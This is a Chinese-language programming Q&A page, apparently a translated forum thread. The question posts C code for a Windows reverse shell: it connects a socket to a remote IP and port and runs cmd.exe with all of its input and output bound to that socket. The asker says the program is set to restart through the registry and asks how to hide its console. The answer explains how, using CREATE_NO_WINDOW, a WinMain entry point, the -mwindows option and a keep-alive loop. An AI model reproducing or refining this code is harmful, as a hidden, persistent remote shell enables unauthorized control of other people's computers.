将控制台隐藏在Windows套接字上

时间:2018-01-21 03:29:40

标签: c windows sockets

我正在尝试创建一个连接到套接字的程序。我希望它始终保持连接,所以我将它添加到注册表以重新启动。我在网上找到了这个脚本,它按预期工作,但是控制台(cmd.exe)在启动时保持打开状态。我想知道是否可以隐藏控制台但保持连接活着?

void RunSocket(char *a, char *b) {

    WSADATA wsaData;
    SOCKET Winsock;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO ini_processo;
    PROCESS_INFORMATION processo_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    struct hostent *host;
    host = gethostbyname(a);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(b));
    hax.sin_addr.s_addr =inet_addr(ip_addr);

    WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}

这是运行的功能。它包含在一个普通的main函数中,该函数接受IP和PORT的命令行参数。它由命令

运行
script.exe 192.168.1.1 9880

我已经尝试将其构建为Win32 GUI应用程序,但它也做了同样的事情。我按照此处列出的步骤进行了How to get ride of console box of a GUI program compile by MinGW + Code::Block

非常感谢任何帮助。

1 个答案:

答案 0 :(得分:2)

使用CREATE_NO_WINDOW标志(CreateProcess中的第六个参数)来创建隐藏的控制台窗口。

请注意CreateProcess中的第二个参数应该是可写缓冲区。例如:

char buf[MAX_PATH];
strcpy_s(buf, "cmd.exe");
CreateProcess(NULL, buf, NULL, NULL, TRUE, CREATE_NO_WINDOW, 
    NULL, NULL, &ini_processo, &processo_info);

<小时/> 要在没有控制台的情况下创建窗口程序,请使用WinMain入口点而不是main

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show)
{
    MessageBox(0, "Test", 0, 0);
    return 0;
}

在Visual Studio中,将链接器选项设置为Windows子系统。

在MinGW中,使用 -mwindows 链接器选项:

gcc myfile.c -mwindows -o myfile.exe

在Code :: Blocks中,启用GUI应用程序,请参阅图像:

enter image description here

要保持程序运行,您可以使用while(Sleep(1000));(谨慎)或使用虚拟消息循环,例如:

MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}